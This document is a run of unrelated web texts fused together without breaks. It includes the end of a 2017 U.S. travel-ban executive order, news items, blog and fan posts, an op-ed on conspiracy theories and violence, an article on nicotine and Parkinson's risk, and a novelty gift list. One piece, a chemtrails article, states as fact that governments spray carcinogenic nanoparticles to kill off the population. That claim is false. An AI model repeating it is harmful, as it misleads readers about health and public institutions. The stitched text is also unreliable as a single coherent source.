(e) This order shall not apply to an individual who has been granted asylum, to a refugee who has already been admitted to the United States, or to an individual granted withholding of removal or protection under the Convention Against Torture. Nothing in this order shall be construed to limit the ability of an individual to seek asylum, withholding of removal, or protection under the Convention Against Torture, consistent with the laws of the United States.
Sec. 13. Revocation. Executive Order 13769 of January 27, 2017, is revoked as of the effective date of this order.
Sec. 14. Effective Date. This order is effective at 12:01 a.m., eastern daylight time on March 16, 2017.
Sec. 15. Severability. (a) If any provision of this order, or the application of any provision to any person or circumstance, is held to be invalid, the remainder of this order and the application of its other provisions to any other persons or circumstances shall not be affected thereby.
(b) If any provision of this order, or the application of any provision to any person or circumstance, is held to be invalid because of the lack of certain procedural requirements, the relevant executive branch officials shall implement those procedural requirements.
Sec. 16. General Provisions. (a) Nothing in this order shall be construed to impair or otherwise affect:
(i) the authority granted by law to an executive department or agency, or the head thereof; or
(ii) the functions of the Director of the Office of Management and Budget relating to budgetary, administrative, or legislative proposals.
(b) This order shall be implemented consistent with applicable law and subject to the availability of appropriations.
(c) This order is not intended to, and does not, create any right or benefit, substantive or procedural, enforceable at law or in equity by any party against the United States, its departments, agencies, or entities, its officers, employees, or agents, or any other person.
DONALD J. TRUMP
THE WHITE HOUSE,
March 6, 2017.Neurologist Warns of Exploding Neurodegenerative Disease Due to Chemtrail Toxins
Chemtrails are real and they are dangerous, yet so many people still deny their existence. Well if a former Airforce veteran, chemicals and bio-environmental engineering whistle blower or other researchers aren’t convincing enough, then perhaps a neurologist will help people wake up to the fact that millions of tons of cancer-causing and brain-debilitating nano-particles are being dumped from the air by our government.
There are still people arguing about whether contrails are chemtrails, and the evidence is incredibly right before our eyes. Michigan is hazed out one week, California, the next, then back down south to hit Texas or Georgia. You can see the pictures others have captured if you don’t see them with your own ocular lenses.
Now, Russell L. Blaylock, M.D., called a hack and a self-promoting sycophant by his detractors, is warning us about what thousands of other average citizens have been for years. He says that the tons of nanosized aluminum compounds being sprayed on us via chemtrails are:
“...infinitely more reactive and induce intense inflammation in a number of tissues. Of special concern is the effect of these nanoparticles on the brain and spinal cord, as a growing list of neurodegenerative diseases, including Alzheimer’s dementia, Parkinson’s disease, and Lou Gehrig’s disease (ALS) are strongly related to exposure to environmental aluminum.”
The concerned neurosurgeon is only commenting on one known toxin, too. There are others, like barium and strontium, and a practically endless cocktail of carcinogenic constituents that can possibly cull the global population. Also speaking out against chemtrails is Dr. Edward Group, who explains how chemicals sprayed from chemtrails can “turn on” certain issues such as shingles within your body (under certain circumstances).
Aluminum exposure from chemtrails is helping to lead to aluminum-induced cognitive disorders among the population, as doctor Blaylock, suggests. Aluminum can even affect unborn babies, not just the elderly, since it crosses into the placenta via the blood.
Another toxin being found in chemtrails is Strontium-90. It isn’t any better. Neither is Barium.
The impact of these compounds upon human health is unmistakable. So why is this happening?
There are all kinds of theories, but gaining traction with the overt actions of Monsanto-monopolies, an utter disregard for nature by multiple corporate entities, the ever-present war-mongering that leaves us with tragedies like Fukushima, as well as a general disregard for human life run rampant, some are saying these chemtrails are to kill off most of the population. After all, we are waking up as a worldwide citizenry. But no matter the reason, 2 things are for sure: chemtrails are real, and chemtrails are dangerous.
If you want to learn about chemtrails, regardless of whether or not you agree with the current ‘conspiracy’ theories about why they are taking place everywhere, consider the following for your further edification:
David Keith on Geoengineering
Extensive list of geo-engineering patents
Source: http://naturalsociety.com/neurologist-warns-exploding-cognitive-disorders-chemtrail-toxins/A LEADING conservationist is calling on Unesco to remove Edinburgh of its world heritage status after a number of “architectural blunders”.
David Black – the first chairman of Edinburgh’s Southside Association – is compiling a report on what he sees as planning decisions which are destroying Edinburgh’s historic cityscape.
His report is to be sent to Unesco’s New York HQ next month in a bid to have the city’s prestigious status, which it has had since 1995, removed.
Mr Black said: “At the time [1995], Edinburgh was seen as a prime example of an old town and new town co-existing well. But since then we have seen one poor planning decision after another, from St Andrew Square to the Parliament building and Princes Street.
“This is not just some old fogey talking who doesn’t like anything modern. I like the Festival Theatre, for example. But I think there is a balance to be struck between preserving the best of the new – and what we’re getting generally is not the best.”
He said the latest architectural disaster to hit the city is the plan to transform the 190-year -old Royal High School into a five-star hotel.
City planning leader Councillor Ian Perry said: “Our status is something the council takes very seriously, and we will continue to support and work closely with Historic Scotland and Edinburgh World Heritage to maintain this.”Hey Everyone! Robert here.
Pridefest lasted from 11:00am-6:00pm. We started setting up around 10:00am; our neighbors were a popsicle company and a Caribbean pride booth. We had a steady flow of visitors between 11:00am until around 2:00pm. 2:00pm-6:00pm was the busiest time, and here some different experiences of what happened.
I’ll start with the only “opposition” we received.
A man who said he was a urologist stopped by and asked what we did. I told him we are in the business to regenerate foreskin and reverse the effects of circumcision. He mentioned he was Jewish and circumcised, then asked if we are anti-religion. I told him we are not anti-religion, but our sole purpose it providing an option for men who had health issues (such as Phimosis… etc) needed to be circumcised, or are not happy they were circumcised as an infant. We at Foregen are merely adding an extra option, some guys wear short sleeve shirts, so Foregen will be making a “long sleeve shirt”. He did get a little argumentative after I said this, he stated that he sees a lot of intact men that have swollen glans and other health issues. I asked him why they were having the issues. The Urologist explained that most of the men were having issues because of not cleaning after sex and getting bacterial infections. I asked him if circumcision was the answer to these problems versus personal responsibility. He did say that it falls on personal responsibility to wash up after sex. I then asked him “if men washed under their foreskin, would most of these problems be alleviated?” He said that majority of the problems would be fixed if they did wash and keep clean. The conversation came to a halt and he left immediately.
This next story broke my heart.
A couple came up, and the lady was carrying a baby boy, and she asked what Foregen does. I told her we are coming out with a procedure to reverse circumcision. She told me that she already had the procedure done on her son, and it was to late and walked away. I proceeded talking to another interested customer. This lady came back and looked at our information that we had. She stayed for a few minutes reading our information, and walked away holding her baby tight and stroking the hair on his head, and looked distraught. I could tell she was upset after reading our information.
Next up was pretty rad.
2 teenage girls, and a teenage boy walked up to our table and were looking over the information and HuFo (The replica Human Foreskin). I asked if they had any questions. The boy asked what we did, of course I replied “We at Foregen are planning on regenerating foreskin and reversing the effects of circumcision, the procedure is expected to be out within the next 3-4 years.” He was really surprised, I gave him a Foregen brochure and he thanked me. He walked away reading the brochure and yelled “I’ll get my foreskin back!” I actually heard this phrase quite a few times. “You mean to say, I can get my foreskin back?” “Oh My Gosh, I can reclaim my own foreskin” just a few of the comments.
A Drag Queen from a neighboring booth asked us what we do, and I told her about Foregen’s plan to reverse circumcision. Her eye lit up and said “Oh Honey this is my life” and I gave her a brochure.
Another young woman came up asking what we do, and I told her about regenerating foreskin. She said her boyfriend is trying to restore, and I explained the difference between restoring and regenerating. She seemed thrilled and took a brochure for her boyfriend.
Our booth setup at NYC Pride
We informed a lot of Pridefest goers that circumcision will be able to be reversed in the not too distant future. It was an overall successful event.
Since this was my first event with Foregen, I learned a lot from this experience. Together we can make the Foregen foreskin regeneration procedure happen sooner, rather than later.
Expect updates within coming weeks on events for this fall. In the meantime, I will be hard at work deciding which events to book next, among other tasks, so we can spread the news of Foregen. I look forward to seeing some of our supporters at these future events, and making new supporters! As always, feel free to email me directly to show your support, to volunteer, or if you have any questions!
Regards,
Robert
Foregen Events Director
robert@foregen.orgThe University of Pennsylvania and the National Library of Laos have launched the Digital Library of Northern Thai Manuscripts bringing thousands of ancient manuscripts out of monastic temples and making them available as open source material online.
The digital library contains images of approximately 5,000 manuscripts of ancient Thai literature, codes of law and history, which can be searched and viewed online or downloaded for free at lannamanuscripts.net. More materials with related resources from the region will be added to build the database out to more than 7,000 manuscripts.
Justin McDaniel, professor and chair of the religious studies department is principle investigator for the project working with the National Library team in Thailand led by Harald Hundius, David Wharton and Bounleut Thammachak.
McDaniel has spent much of his career working with manuscripts in monastic libraries in rural areas of Thailand and Laos, reading, translating and helping to preserve them. He said he is thrilled that these materials are now being preserved and made accessible to people all over the world.
“This is a huge project to preserve, make accessible, catalogue and scan the entire corpus of Northern Thai manuscripts,” McDaniel said. “Anyone from students and researchers to monks and nuns can now read this preserved literature of an entire people.”
Much of the original content is being shared online for the first time. Most of the texts were written on palm-leaf and have been stored in the libraries of Buddhist monasteries and in private collections.
“It’s mostly Buddhist material, but also scientific material, historical material, botany, astrology, grammar, folk tales, philosophical tales, a massive corpus going back from 1410 to the 1950s when print became more popular,” McDaniel said.
The database also contains material from the Preservation of Northern Thai Manuscripts Project, with permission of Chiang Mai University Library, digitized microfilms and handwritten copies of manuscripts made in the early 1970s as part of research conducted by Hundius, the project’s head digitizer, as well as digitized manuscripts made during the current Digital Library of Laos Manuscripts project implemented by the National Library of Laos.
The digital library project was funded by a grant from The Henry Luce Foundation, German Federal Foreign Office and a grant from the Andrew W. Mellon Foundation, with additional support from Penn Libraries and the School of Arts & Sciences.On 20 April 2017, CNN posted audio of Attorney General Jeff Sessions saying on a radio show that he was “amazed” that a Hawaiian judge on the Ninth Circuit was able to block a revised executive order issued by President Donald Trump:
We are confident that the President will prevail on appeal and particularly in the Supreme Court, if not the Ninth Circuit. So this is a huge matter. I really am amazed that a judge sitting on an island in the Pacific can issue an order that stops the President of the United States from what appears to be clearly his statutory and Constitutional power.
The fact that the attorney general referred to a state in the union dismissively as an “island in the Pacifc” (Hawaii) prompted some Americans to question whether he really had said it. Sessions did make the comment during the 18 April 2017 airing of the Mark Levin Show, from which CNN posted an abridged version of Session’s comment which can be heard here:
(The full version of Levin’s 18 April 2017 show can be heard on his web site, with Session’s comments regarding the “island in the Pacific” otherwise known as the state of Hawaii just after the 1 hour-5 minute mark.)
Levin and Sessions were discussing the fact that U.S. District Court Judge Derrick Watson had issued a 43-page ruling on 15 March 2017 blocking a revised executive order that sought to ban entry into the United States of travelers from six majority Muslim countries: Iran, Libya, Somalia, Sudan, Syria and Yemen. In his ruling, Judge Watson stated that the order unfairly targeted Muslims and cited President Trump’s words in which he referred to a “Muslim ban” as evidence of that intent.
Sessions’ comment was cited by critics as yet another example of the Trump administration’s trying to delegitimize the power of the judicial branch, one of the “checks and balances” put in place by the nation’s framers to avoid overreach by any one branch of government. Angry that his travel ban had been blocked the first time in February 2017, the president took to Twitter to write, “The opinion of this so-called judge, which essentially takes law-enforcement away from our country, is ridiculous and will be overturned!”
As a candidate, Trump had also said a judge of Mexican heritage wasn’t fit to oversee a lawsuit against him because if elected, Trump had plans to build a border wall. “I have a Mexican judge,” Trump had said. “He’s of Mexican heritage. He should have recused himself, not only for that, for other things.”(X-Files/20th Century Fox)
On Jan. 26, FBI agents made public a foiled plot against the Freemasons. Samy Mohamed Hamzeh was arrested with a machine gun and silencer. The FBI alleges that he intended to storm the Scottish Rite Masonic Temple in Milwaukee and kill upwards of 30 people. The complaint quotes him as saying:
They are all Masonic; they are playing with the world like a game, man, and we are like asses, we don’t know what is going on, these are the ones who are fighting, these are the ones that needs to be killed, not the Shi’iat, because these are the ones who are against us, these are the ones who are making living for us like hell.
So are people who are prone to believing conspiracy theories prone to violence as well?
[50 percent of Americans believe in some conspiracy theory. Here’s why.]
Recent events suggest they are. Robert Dear, who allegedly killed three and injured nine at the Planned Parenthood in Colorado Springs on Nov. 28, 2015, had a history of spouting anti-government conspiracy theories. He encouraged his neighbors to install metal roofing on their homes to prevent the government from spying on them.
Syed Farook and Tashfeen Malik, who allegedly killed 14 and injured 21 in San Bernardino, Calif., on Dec. 2, 2015, may also have been conspiracy theorists. Although their motives are only now becoming clear, early evidence suggests that they may have believed that the United States was in a war against Muslims. And a lawyer for their family invoked conspiracy theories about the Sandy Hook shooting to imply that U.S. government officials were behind events in San Bernardino.
Other examples are plentiful. The Boston Marathon bombers, Tamerlan and Dzhokhar Tsarnaev, who killed three and injured 264, accused the U.S. government of complicity in the Sept. 11, 2001, bombings not long before their deadly rampage in 2013. Jared Lee Loughner, who killed six and injured more than a dozen people, including then-Rep. Gabrielle Giffords in Colorado in 2011, held similar beliefs — as did John Patrick Bedell, who wounded two police officers in a shootout at a Washington, D.C., Metro station in 2010.
Which came first, the conspiracy theory or the inclination to violence?
But are conspiracy beliefs driving the violence, or an excuse for violence that would be committed anyway? Most Americans buy into one conspiracy theory or another without committing violence. Many Americans are plenty violent without justifying their behavior by conspiracy theories.
[Conspiracy theories aren’t just for conservatives]
Our research explored these questions, collecting the first long-term systematic data on conspiracy theorists. In one nationally representative survey, we asked respondents a broad array of questions, and separated those more inclined to conspiracy theories from those less inclined. Of course, respondents are reluctant to broadcast unpopular views and surveys are imperfect indicators of people’s positions, but that’s no more true for conspiracy theories than for other complex issues.
Still, the results were stunning. When asked if violence was an acceptable way to express disagreement with the government, people with a strong (denoted as high in the figure) predisposition toward conspiratorial thinking were almost fifty percent more likely than those least (low) inclined toward conspiratorial thinking to agree (16 versus 11 percent).
Eighty percent of those least drawn to conspiratorial thinking disagree with the statement than violence is sometimes an acceptable way to express disagreement with the government while only 59 percent of those with a strong predisposition towards conspiratorial thinking do.
Agree or disagree: “Violence is sometimes an acceptable way to express disagreement with the government.” “Low, medium, high” indicate how much the respondent sees the world as full of conspiracies.
Naturally, the relationship between conspiracy theories and violent impulses is complicated. But the two may form a toxic combination. When asked about gun control, a majority of those who favored less strict gun laws were people with higher conspiratorial predispositions. More recent polls have found this as well.
And previous research by psychologists Karen Douglas and Robbie Sutton, for example, showed that conspiracy theorists are much more likely to agree that it’s acceptable to engage in conspiratorial arrangements in order to achieve an important goal.
So conspiracy theorists are more likely to approve of violence, lax gun laws, and secret plotting. Oklahoma City bomber Timothy McVeigh is a textbook example. McVeigh was concerned with gun rights, believed the government was conspiring to destroy liberty, and conspired to blow up a federal building in retaliation. Osama bin Laden was another conspiracy theorist. His library included books on conspiracy theories about the Illuminati, the Federal Reserve and, ironically, 9/11.
Which individual conspiracy theorist will resort to violence is impossible to predict. But which types of people will tend towards violent acts is not entirely unpredictable.
[Conspiracy theories won’t save the governing party in Venezuela]
Most people, including most conspiracy theorists, oppose violence.
Now the good news. Whether or not they believe in conspiracies, our research shows the vast majority of people object to violence. Politically motivated violence remains a minuscule fraction of all violence. From what we can tell, conspiracy-motivated violence appears to be a fraction of that. Since our nation includes hundreds of millions of conspiracy theorists, according to our research, if only one percent of those turned to terror, the country would have long ago collapsed into conspiracy-soaked chaos.
But while conspiracy theory-inspired violence is rare, that is sometimes lost sight of. Mass killings have fallen in the United States over the last few decades, but conspiracy-fueled mass killings retain a strong hold on the popular imagination and an outsized influence on policy debates.
The San Bernardino shooting, for instance, has been used in debates about gun control and immigration; the Boston bombing in discussions of how to stop terrorism; and if the alleged plot in Milwaukee had occurred it would have killed dozens.
But the dangers ought to be put in perspective. There is a link between conspiracy theorizing and violence, but relative compared to other forms of violent death, the risks are extremely small.
Why do some people fear conspiracy theorists more than the evidence warrants? That may or may not call for a conspiracy theory.
Joseph M. Parent and Joseph E. Uscinski are associate professors of political science at the University of Miami and authors of “American Conspiracy Theories” (Oxford University Press, 2014).It's the truth you know!
Also before I get any comments about "NO! It's Helsa!" "Loki's better!" or any of the sort, I find nothing with the others shippings, it's just...I'm a hardcore Jelsa shipper is all. I just like how they're basically (to me) Dreamworks' and Disney's Romeo & Juliet. Like some would say that they are meant to be together, but at the same time because we know these two companies will never—and I mean NEVER (and as much as I wish)—collaborate any time soon that Jack and Elsa can't be together. (I think I'm a sucker for tragic romances, aren't I?) Again I find nothing wrong with the other guys (and girls), I just ship Jelsa more is all. Now that that's done with, on with the drawing!
This is another fanart that I have been wanting to draw for a while now and one day told myself to finally do it (and some encouragement from my sister.) I am proud with most of the results, and I say most because I didn't like how Elsa's dress came out this time. The other characters are my first time drawing them EVER and seriously, the easiest ones were both Pitch and a certain arm holding a frying pan. Hans was the stubborn one, I couldn't find the right pose for him or a funnier facial expression or (continues to ramble like a Mad Hatter.)
Long story short (too late!) I am proud of how it came out, especially Loki, 'cause he's not easy.
You know the drill, if your have any questions let me know and I will answer them as best as I can. Night guys!Always repost the rules. Answer the random 11 questions posted for you. Create 11 new ones and tag 11 people. Let the person who tagged you know that you answered. I was tagged by @craptaztic
MY QUESTIONS
1. What’s your relationship with exercise?
Not a good one like I try to do exercise but every time I do I just die instead
2. What’s the single greatest thing you have seen?
Zootropolis hands down :D
3. On a scale of fish or rock, how well can you swim?
Use to be a fish but how I’m a rock. Want to know why? See question one
4. What is your crafting skill? eg: What do you make that you take pride in?
That’s a hard one. I should say I’m just average at everything but people say I’m good at writing so that one I guess
5. What’s your household aesthetic? eg: White sheets and wood floors?
Don’t have my own place but if I do it would be minimalist and very open. Also a place to displace all of Zootropolis pieces
6. What is the most extravagent thing you’ve ever cooked?
I’ve cooked in a Michelin star restaurant where (if I remember correctly) I made pork medallions wrapped in pastrami (I think) which say on top of a fried risotto cake with brandy sauce and mash potato on the side
7. What character in zootopia do you feel best represents you?
Hate to be so cliche but I would say Nick Wilde
8. Are you a furry or ‘just a fan of zootopia’ *eye roll* (lookin at YOU, HH!)
I wouldn’t class myself as a furry but Zootropolis is my life so I guess people could see me as kinda being one
9. What book did you read that made you a reader? eg: Mossflower by Brian Jaques
Well I’m not an active reader so I’m still looking for the book I’m hoping it will be ‘The dark fields’ by Alan Glynn
10. If you’ve been in love and lost it, what ‘what ifs’ still haunt you?
I’ve never been in love so I’ve never lost it
11. What smells trigger your strongest memories and why?
Not sure to be honest. I guess I would say a BBQ because of all the time my family would have some and the good times it brings
YOUR QUESTIONS
What’s your favourite thing to do in your free time? Are you a city or a countryside person? Favourite TV show? Milkshake or smoothie? Favourite scene from Zootropolis? Do you like cooking? if so what? Showers or baths? Dream job? Do you read fan fiction? If so what’s your favourite/s? Do you have any pets? Do you prefer daytime or nighttime?
I tag: @mattnyc816 @slybunnydumbfox @haloman1170909 @taylorillustrated @zooijiness @reddoshirousagi06 @nickwildeandjudyhoppsaremyotp @judy-flopps @ky-jane @rem289 @ao
I ALSO TAG ALL MY MUTUALS AND ANYONE ELSE WHO WANTS TO DO THISBitcoin, you might have heard of it recently in the news thanks to it’s explosive (and bubble’ish) growth in value from about March this year (000’s of %). It’s understandable that the $$$ value is what gets everyone’s attention but what most don’t understand is the technology behind it: Blockchain.
The thing is, it difficult to understand, hard to explain & that’s one of the biggest barriers to the mass market right now. I was aware of it at a high level but my interest was peaked after I listened to a podcast by Tim Ferris where he interviews Nick Szabo. It became glaringly apparent the potential of blockchain tech was massive and I needed to learn more. As momentous as the advent of the internet, some might even say.
So here’s a list of the best books, podcasts, videos and websites I’ve come across:
On the more academic side:
The Bitcoin Whitepaper – The original design and proposition doc for Bitcoin by ‘Satoshi Nakamoto’
The Ethereum Whitepaper
I have also found there is a lot of noise as speculators get excited about the value of tokens. There is quite a lot of tribalism between and within each cryptocurrency, as everyone has vested interests, which distract from the underlying potential of creating real world value. So keep that in mind if you venture into subreddits or other blockchain crypto forums. In saying that, I have gleaned some insights from various subreddits, so here’s my list:More than 50 years after the discovery of reduced mortality rates in patients with Parkinson’s disease (PD) who smoke cigarettes, researchers may be on the cusp of opening the door to nicotine-based treatments that could help ease symptoms of the disease.
The problem, of course, lies with decades of clinical investigations that have definitively linked tobacco use with cancer, stroke, and other serious ailments. The confounding results present a fairly unique ethical issue to the global medical community: Do we prevent the debilitating symptoms of PD with nicotine use, all while knowing that the patient may very well die from lung cancer?
While the risks of tobacco use are well-illustrated, can we continue to turn a blind eye to the compelling data that suggests nicotine is neuroprotective?
An Undeniable Connection
A paper published in Public Health Reports in 1959 describes findings1 from a collaborative study by the United States Public Health Service and the Veterans Administration (VA) that investigated the link between tobacco use and various causes of death. Approximately 200,000 policyholders of life insurance issued by the U.S. government had previously answered questionnaires indicating their tobacco use status and frequency. Upon their deaths, the VA sent the policyholder’s death notice to the Public Health Service, which obtained additional needed details from the doctor who signed the death certificate or from the hospital where the patient died. From the long list of diseases included in the study, majority of them were associated with a higher risk of mortality among smokers as compared to non-smokers and occasional smokers. However, there were some diseases for which smoking was not associated with elevated risk of death, most notably PD (the study author refers to it as paralysis agitans). Smokers had a dramatically lower risk of PD, with those who smoked 10 or more cigarettes daily having the lowest risk.
CLINICAL CHART: Parkinsonism Treatments
Subsequent research has firmly established this perplexing connection, generally showing that active smokers have the lowest PD risk, followed by former smokers, while people who have never smoked have the highest risk. Indeed, a study published in the May 2015 issue of the American Journal of Epidemiology reported that people with a history of smoking had a 45% lower risk of developing PD. Other research has shown a similar level of risk, including a large National Institutes of Health study3 reported in Neurology in 2010, which found that current smokers had a 44% lower risk of PD than people who had never smoked. The findings further showed that past smokers had a reduced PD risk that was inversely related to the number of years they had smoked: Compared with people who had never smoked, former smokers who had smoked for 30 years or more had a 41% lower risk, while those who had smoked for 20 to 29 years had a 36% lower risk, and those who smoked for 10 to 19 years had a 22% lower risk.
“It is possible that the potential biological effect of nicotine or other active components in cigarettes against Parkinson’s may be saturated at low concentrations,” study co-author Honglei Chen, MD, PhD, a senior researcher at the National Institute of Environmental Health Sciences, told Neurology Advisor. “Also, Parkinson’s disease may take decades to develop. Sustained effects may be needed to lower the risk.”
The protective effect of smoking appears to also apply to second-hand smoke. In a study published in 20124, researchers at the University of Washington in Seattle confirmed that rates of smoking were much lower among PD patients than non-PD controls. Additionally, they observed that even among people who had never smoked, those who had been exposed to second-hand smoke had a decreased risk level similar to that of active smokers, and the same type of inverse dose-response relationship was found: The longer participants had lived with an active smoker, the lower their PD risk was.There have been new developments since this blog post was last revised. Here is the latest update on the Cablevision-Fox dispute.
Executives at Cablevision and News Corporation are scheduled to meet at noon Saturday to resume negotiations in a spat that has left Cablevision subscribers without access to Fox network programming.
The two media giants have been fighting over retransmission consent, which gives cable companies like Cablevision the right to carry local stations like WNYW, Channel 5 in New York. WNYW is owned by News Corporation. The Federal Communications Commission urged the companies to keep negotiating.
When an existing contract between the two companies expired at the end of the day on Friday, Fox stations disappeared from Cablevision homes. Instead of a scheduled episode of “The Simpsons,” WNYW displayed nothing but a black screen. The same was the case on WWOR, Channel 9, also owned by News Corp., which was supposed to be showing an episode of “Tyler Perry’s House of Payne.”
News Corp. quickly issued a release headlined, “Cablevision Drops Fox.” At the same time, Cablevision began posting a message on the screen that accused News Corp. of “pulling Fox 5 and My 9 off air” and declared it was News Corp.’s decision, “not ours.”
Cablevision’s voice-over announcer ran simultaneously on both stations and read a long list of grievances against News Corp., accusing the company of “extortion,” “corporate greed” and “outrageous demands” as well as “holding their own viewers hostage.”
For its part News Corp. accused Cablevision of seeking “preferential treatment” that will force viewers to lose access to programs like Saturday night’s first game in the National League Championship Series and Sunday afternoon’s Giants N.F.L. game.
News Corp. also said Cablevision had declared an impasse at 8 p.m., and refused to negotiate further.
The dispute affects about three million subscribers of Cablevision in the New York metropolitan area. The two companies have had months to negotiate, but they haven’t been able to agree on a price for the retransmission right.
Retransmission disputes are on the rise because broadcasters are determined to earn more money from distributors. ABC programming was taken off of Cablevision’s systems for nearly a full day in March due to a similar fee fight.
Richard Greenfield, a media analyst for the investment firm BTIG, said most retransmission fights end within a day or two.
“No one’s dropping Cablevision because they woke up on a Saturday morning without Fox’s local news,” he said Saturday morning. “The question becomes, how long is it going to last and who’s going to blink first?”
Mr. Greenfield said he doubted that Fox would budge. “Fox wants their dollars. They see the importance of their programming,” he said.
The important deadline, he said, is Sunday at 1 p.m., the kick-off of the Giants game.
In a statement nine minutes after midnight on Saturday, the F.C.C. chairman Julius Genachowski said he was disappointed in both companies.
“Each year, thousands of agreements between broadcasters and pay-TV providers are reached without interruption of customer viewing,” he said. “I remain hopeful that these two companies will do what is in the best interest of consumers and find a way quickly to resolve their differences.”
Besides the public pressure, there is little else the F.C.C. can do.
On Friday, the government proposed that the two companies enter into mediation. Cablevision said it had accepted the F.C.C. offer but Fox said it had declined.
The F.C.C. had asked the two companies to extend negotiations into early next week, to get past the weekend’s sporting match-ups, according to three people with knowledge of the government’s proposal, who requested anonymity because they were not authorized by their employers to comment. Representatives of both News Corporation and Cablevision were invited to Washington for mediation.
Cablevision agreed to the F.C.C. proposal because it has been calling for binding arbitration, apparently placing a bet that it would help their negotiating position. Fox has rejected the calls for arbitration.
“Cablevision needs to stop hiding behind a call for binding arbitration and negotiate in good faith,” Fox said in a statement Friday, adding that it shares “the concern for protecting viewers’ access to programming.”
The Fox statement continued, “Direct business-to-business negotiation is the only way to resolve this issue, while also preserving the long-term stability of the broadcast system. We will continue to negotiate and are committed to putting all our resources towards reaching a fair resolution.”
The prospect that football and baseball games would be interrupted has provoked comments from dozens of lawmakers urging the two companies to leave viewers out of the corporate squabble.
Senator Frank R. Lautenberg, Democrat of New Jersey, said Fox should immediately reconsider the decision to decline mediation. It is “inexcusable that Fox would rather hold consumers hostage than engage in further negotiations,” he said in a statement.
Representative Steve Israel of Long Island said in a statement Friday evening, “I spoke to officials today at the F.C.C. and they confirmed they have offered to mediate arbitration and pledged to keep the heat on both parties to come to the table without disrupting service.”
He added, “I’m disappointed that both parties haven’t agreed to hold Giants fans harmless while negotiations continue.”
Greg Aiello, spokesman for the National Football League, said the league was aware of the dispute and is “monitoring it closely.”
But he said it was not an issue the N.F.L. itself would get involved in.
“We’re innocent bystanders,” Mr. Aiello said. “We hope they work it out.” |
with the Raptor Hoodie. This Raptor Hoodie is a great gift for people who love dinosaurs and is available in both kids and adult sizes, so we can all dinosaur out! View Details
Midwest Tropical 675 Square Aquarium Coffee Table
No bachelor pad would be complete without an over the top item like an aquarium coffee table. Both stylish and functional, this coffee table aquarium comes complete with decorative aquarium plants, lighting, filtration pumps, and everything else you’ll need. View Details
Nintendo Wall Graphics – Super Mario Bros
Decorate your room with one of the most recognizable games ever with the Super Mario Wall Stickers. Included in this Super Mario Wall Sticker package are three large and restickable vinyl decals, with dozens of smaller individual decals in each package. View Details
Sword Umbrella
When you need to stay safe from the rain but also want to keep your man ego intact, a sword handle umbrella is the only solution. From broad swords to samurai swords, you’ll look like a rain impenetrable warlord walking around with any one of these umbrellas. View Details
Legendary Suitjamas Premium Suitjamas
Look and feel like a million bucks every time you go to sleep with these Suit Pajamas. These Suit Pajamas are the officially licensed version of Suitjamas as seen in How I Met Your Mother, and are made from fine silk and cotton for a light and breathable feel. View Details
Boon Glo Nightlight with Portable Balls, White
Light up the kid’s room with these night light globes or grab a single globe and use it as a light source. These portable nightlight globes are available in any color you like, and stay lit for thirty minutes before fading to darkness to ease any kid into falling asleep. View Details
Air Swimmer Remote Control Inflatable Flying Shark
This radio control flying shark needs to be to seen in action. When in motion the shark’s back fin moves and gives a surprisingly realistic look to anyone caught in this deadly beast’s way. The flying radio control shark is made from durable nylon and uses refillable helium. View Details
Cute Fire Extinguisher Lighter With LED Light
The mini fire extinguisher lighter is a cool twist on the tried and true fire extinguisher. Made from solid metal, the mini fire extinguisher lighter is refillable and has an adjustable flame and makes a great stocking stuffer gift idea for smokers. View Details
PORTABLE AMP FOR IPHONE HORN STAND WHITE (PORTABLE AUDIO/CELLULAR ACCESSORIES)
The mini iPhone speaker amplifier is a device that attaches to your iPhone and boosts the sound levels by 13 decibels without requiring any battery use, just good old fashioned acoustical science. It also doubles as phone stand so you can watch movies and shows. View Details
Batman Comfy Throw Blanket With Sleeves
Keep warm and look like the Dark Knight with this Batman Snuggie Blanket! The snuggie blanket allows your hands to be free while still giving you the benefit of wearing a full adult size blanket, and makes a great gift idea for the holidays. View Details
Impecca KBB600CW Bamboo Wirelesskeyboard & Mous
This USB Keyboard + Mouse combo is made from natural bamboo and is compatible with all computers. The bamboo keyboard and mouse will give you a warm and elegant feel whenever you use your PC, even though you’re probably wasting away on dumb sites like this one. View Details
Water ball
You may not be heavenly, but that shouldn’t stop you from walking on water thanks to this inflatable human hamster ball. At approximately 7 feet tall, this inflatable walk on water ball will provide hours of fun on the water, and possibly induce claustrophobia. View Details
ON SALE! Bath Tissue Tyrant: Commode Dragon
Give your bathroom some geeky and medieval style with this Dragon statue toilet paper holder. This Dragon toilet paper holder is hand painted and will almost certainly guarantee you’ll never seal the deal if you bring a girl over your home. View Details
Boyfriend PillowTM- Companion Pillow Micro Beads – Mooshi squeeze and soft silky like t-shirt
This Snuggle Pillow will always be a shoulder for you to lie and cry on. This pillow is machine washable, includes the removable t-shirt, and also is a great neck pillow. Makes a great gift for the constantly neglected forever aloners or girls on the rebound. View Details
Transformer 4gb USB Drive
If you loved playing with transformers as a kid, you’ll love this Transforming USB flash drive. Equipped with four gigs of memory and built to look like Ravage, the decepticon transforming jungle cat definitely has more than meets the eye. View Details
Teroforma Whisky Stones
Whiskey stones are freezable naturally mined soapstones that will keep your drink cold but won’t water it down. The whiskey stones will keep your drink cold up to an hour, allowing you to savor the delicious whiskey or other liquor of your choice. View Details
Kymera Magic Wand Remote Control
Harry Potter fans can now control any TV with the flick of the wrist with this magic wand TV remote control! This magic wand TV remote control has thirteen different gestures to do everything from turn the TV on and off to changing the volume or channel. View Details
Pet Hoodie
If your small pet struggles to stay warm during the cold winters than consider keeping Mr. Fluffums warm this winter season with these stylish pet hoodies. Made from 100% cotton, these sleeved pet hoodies will make your pet feel cool while staying warm. View Details
Kikkerland Skull Shot Glasses, Set of 4
Real men fight bears, arm wrestle lions, and drink exclusively from skull shot glasses that are lit on fire. Now you too can own yourself some skull shaped shot glasses and finally be able to say you’re own your way to becoming a real man. View Details
Tool Logic CC1SB Credit Card Companion with 1/2-Inch Knife, Translucent Black
This pocket size toolkit is as thin as a credit card so it can easily fit in your wallet. Aside from being as thin as a credit card, this toolkit includes a knife, compass, magnification lens, tweezers, screwdriver, bottle opener, and a toothpick! View Details
Cyber Clean 25055 Home & Office Pop-up Cup – 5.11 oz. (145g)
This cleaning putty is perfect for cleaning your electronics; The putty will conform its shape to any item to ensure it gets into all the cracks and crevices and pulls out all the debris. This putty is the coolest, safest, and most thorough way to do a deep clean all your electronics. View Details
Fred and Friends Hopside Down Glass
Everything you know is a lie. Drink your beer upside down with this upside down beer bottle glass. This novelty beer glass is dishwasher safe, holds 12 ounces and is a cool gift for parties and will be an instant conversation piece. View Details
